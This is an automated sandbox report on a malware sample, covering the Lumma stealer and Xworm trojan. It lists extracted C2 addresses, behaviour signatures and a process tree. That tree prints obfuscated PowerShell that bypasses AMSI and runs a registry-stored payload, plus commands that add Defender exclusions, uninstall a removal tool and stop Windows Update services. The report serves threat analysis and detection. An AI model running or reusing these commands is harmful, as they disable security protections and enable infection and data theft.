Resubmissions

05/06/2025, 19:12

250605-xwxn2ax1c1 10

04/06/2025, 16:38

250604-t5e9kagj9w 10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/06/2025, 19:12

General

  • Target

    NewTextDocument.exe

  • Size

    4KB

  • MD5

    a239a27c2169af388d4f5be6b52f272c

  • SHA1

    0feb9a0cd8c25f01d071e9b2cfc2ae7bd430318c

  • SHA256

    98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc

  • SHA512

    f30e1ff506cc4d729f7e24aa46e832938a5e21497f1f82f1b300d47f45dae7f1caef032237ef1f5ae9001195c43c0103e3ab787f9196c8397846c1dea8f351da

  • SSDEEP

    48:6r1huik0xzYGJZZJOQOulbfSqXSfbNtm:IIxcLpf6zNt

Malware Config

Extracted

Family

lumma

C2

https://t.me/vstalnasral555

https://runtnwq.run/gajh

https://narrathfpt.top/tekq

https://escczlv.top/bufi

https://localixbiw.top/zlpa

https://korxddl.top/qidz

https://stochalyqp.xyz/alfp

https://diecam.top/laur/api

https://citellcagt.top/gjtu

https://peppinqikp.xyz/xaow

Extracted

Family

xworm

Version

5.0

C2

154.53.41.5:1144

Mutex

tHwBSicFuDZAqRPQ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file 4 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 16 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 16 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:608
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{ad13a311-2a06-4d5b-a28d-c2c488daadcb}
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2596
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{baac7772-f4f1-4c81-bef4-89a906e4264d}
          2⤵
            PID:1552
        • C:\Windows\system32\lsass.exe
          C:\Windows\system32\lsass.exe
          1⤵
            PID:656
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:948
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:408
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:868
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1132
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2928
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YzbKDlkEvoiP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NOOBoIueVBTvCZ,[Parameter(Position=1)][Type]$mPhNQzYMLi)$bYTABmYnzBr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+'D'+[Char](101)+'l'+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+'y'+''+[Char](112)+''+'e'+'','Class,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'si'+'C'+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$bYTABmYnzBr.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+','+''+'H'+''+[Char](105)+'d'+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g,'+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NOOBoIueVBTvCZ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+'e'+[Char](100)+'');$bYTABmYnzBr.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+'a'+''+[Char](108)+'',$mPhNQzYMLi,$NOOBoIueVBTvCZ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $bYTABmYnzBr.CreateType();}$mROtnFNlpOpQK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+'icro'+'s'+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n32'+[Char](46)+''+[Char](85)+''+'n'+''+'s'+'a'+[Char](102)+'eNat'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'h'+[Char](111)+'ds');$cjamcBWbUeiYFp=$mROtnFNlpOpQK.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+'A'+''+'d'+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'bl'+'i'+'c'+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lTtkaEbeIUFkELaNQrp=YzbKDlkEvoiP @([String])([IntPtr]);$tpTTDPrIyYPNIvxmSXsCEV=YzbKDlkEvoiP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NJCFRmWYWIl=$mROtnFNlpOpQK.GetMethod('G'+[Char](101)+''+'t'+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+'3'+'2'+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$GxoauuZqFwPXeM=$cjamcBWbUeiYFp.Invoke($Null,@([Object]$NJCFRmWYWIl,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+'b'+[Char](114)+''+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$mpuImyzxFAXRXzNMp=$cjamcBWbUeiYFp.Invoke($Null,@([Object]$NJCFRmWYWIl,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$FjxjzMf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GxoauuZqFwPXeM,$lTtkaEbeIUFkELaNQrp).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+'l'+'');$zHBcEpfJFRcJRExQE=$cjamcBWbUeiYFp.Invoke($Null,@([Object]$FjxjzMf,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+'c'+'a'+''+'n'+'B'+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$MHjpcMCHxx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mpuImyzxFAXRXzNMp,$tpTTDPrIyYPNIvxmSXsCEV).Invoke($zHBcEpfJFRcJRExQE,[uint32]8,4,[ref]$MHjpcMCHxx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zHBcEpfJFRcJRExQE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mpuImyzxFAXRXzNMp,$tpTTDPrIyYPNIvxmSXsCEV).Invoke($zHBcEpfJFRcJRExQE,[uint32]8,0x20,[ref]$MHjpcMCHxx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+'a'+''+[Char](108)+'er'+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2344
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qwLHkZXFzmKZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ympiCVUcQUIwPw,[Parameter(Position=1)][Type]$dqXuQKUBhK)$fhOoLHkPBqO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+'l'+'ega'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+'o'+'r'+'y'+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+''+'l'+'a'+[Char](115)+'s'+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+'l'+'a'+[Char](115)+''+'s'+''+','+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$fhOoLHkPBqO.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+''+'e'+'c'+'i'+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+'S'+'i'+[Char](103)+''+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ympiCVUcQUIwPw).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$fhOoLHkPBqO.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+'d'+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+'l'+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+'',$dqXuQKUBhK,$ympiCVUcQUIwPw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+[Char](101)+''+','+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $fhOoLHkPBqO.CreateType();}$aYDMhNBIxCkso=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+'s'+'af'+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'iv'+[Char](101)+'Meth'+'o'+'d'+[Char](115)+'');$ERyGLMwEoOOMVT=$aYDMhNBIxCkso.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JeoiWKxHehfHbSHWDxh=qwLHkZXFzmKZ @([String])([IntPtr]);$cvINplqKeNJvCwMsndbxTK=qwLHkZXFzmKZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$baolUOiMTkB=$aYDMhNBIxCkso.GetMethod(''+'G'+'e'+[Char](116)+'M'+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+'and'+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2.d'+'l'+'l')));$rEXqfKPFSSNJzN=$ERyGLMwEoOOMVT.Invoke($Null,@([Object]$baolUOiMTkB,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+'r'+'y'+'A')));$rZORpBmFhgNwfTkSc=$ERyGLMwEoOOMVT.Invoke($Null,@([Object]$baolUOiMTkB,[Object](''+'V'+''+'i'+''+[Char](114)+''+'t'+''+'u'+''+'a'+'lPr'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$KFTLLdl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rEXqfKPFSSNJzN,$JeoiWKxHehfHbSHWDxh).Invoke(''+'a'+''+'m'+'s'+[Char](105)+''+[Char](46)+'dl'+'l'+'');$WxBGdKhFwpzftvLjL=$ERyGLMwEoOOMVT.Invoke($Null,@([Object]$KFTLLdl,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+'f'+[Char](101)+'r')));$SMIhvkSHmK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rZORpBmFhgNwfTkSc,$cvINplqKeNJvCwMsndbxTK).Invoke($WxBGdKhFwpzftvLjL,[uint32]8,4,[ref]$SMIhvkSHmK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WxBGdKhFwpzftvLjL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rZORpBmFhgNwfTkSc,$cvINplqKeNJvCwMsndbxTK).Invoke($WxBGdKhFwpzftvLjL,[uint32]8,0x20,[ref]$SMIhvkSHmK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+'i'+''+'a'+''+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:6084
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:5080
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                          PID:1152
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                          1⤵
                            PID:1160
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                            1⤵
                              PID:1172
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                              1⤵
                                PID:1240
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                1⤵
                                  PID:1320
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                  1⤵
                                    PID:1344
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1420
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                      1⤵
                                        PID:1456
                                        • C:\Windows\system32\sihost.exe
                                          sihost.exe
                                          2⤵
                                            PID:2568
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                          1⤵
                                            PID:1564
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                            1⤵
                                              PID:1572
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                              1⤵
                                                PID:1692
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                1⤵
                                                  PID:1724
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                  1⤵
                                                    PID:1764
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                    1⤵
                                                      PID:1776
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1872
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:1988
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                          1⤵
                                                            PID:1996
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                            1⤵
                                                              PID:2040
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                              1⤵
                                                                PID:1912
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2088
                                                              • C:\Windows\System32\spoolsv.exe
                                                                C:\Windows\System32\spoolsv.exe
                                                                1⤵
                                                                  PID:2180
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2272
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2292
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2604
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                        1⤵
                                                                          PID:2684
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                          1⤵
                                                                            PID:2692
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:2732
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                              1⤵
                                                                              • Drops file in System32 directory
                                                                              PID:2752
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                                PID:2776
                                                                              • C:\Windows\sysmon.exe
                                                                                C:\Windows\sysmon.exe
                                                                                1⤵
                                                                                  PID:2836
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                  1⤵
                                                                                    PID:2868
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:2876
                                                                                    • C:\Windows\system32\wbem\unsecapp.exe
                                                                                      C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3152
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3444
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Suspicious use of UnmapMainImage
                                                                                          PID:3552
                                                                                          • C:\Users\Admin\AppData\Local\Temp\NewTextDocument.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\NewTextDocument.exe"
                                                                                            2⤵
                                                                                            • Downloads MZ/PE file
                                                                                            • Checks computer location settings
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:5500
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              3⤵
                                                                                                PID:5416
                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\1UGwDFF.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\1UGwDFF.exe"
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                • Drops file in System32 directory
                                                                                                • Suspicious use of SetThreadContext
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:5684
                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                  4⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1608
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                  4⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2892
                                                                                                  • C:\Windows\system32\wusa.exe
                                                                                                    wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                    5⤵
                                                                                                      PID:2616
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                    4⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:5156
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                    4⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4020
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    C:\Windows\system32\sc.exe stop wuauserv
                                                                                                    4⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4720
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    C:\Windows\system32\sc.exe stop bits
                                                                                                    4⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:3640
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    C:\Windows\system32\sc.exe stop dosvc
                                                                                                    4⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:6044
                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                    4⤵
                                                                                                    • Power Settings
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1004
                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                    4⤵
                                                                                                    • Power Settings
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:5600
                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                    4⤵
                                                                                                    • Power Settings
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:5860
                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                    4⤵
                                                                                                    • Power Settings
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:5292
                                                                                                  • C:\Windows\system32\dialer.exe
                                                                                                    C:\Windows\system32\dialer.exe
                                                                                                    4⤵
                                                                                                      PID:2480
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe delete "KPNEMLWP"
                                                                                                      4⤵
                                                                                                      • Launches sc.exe
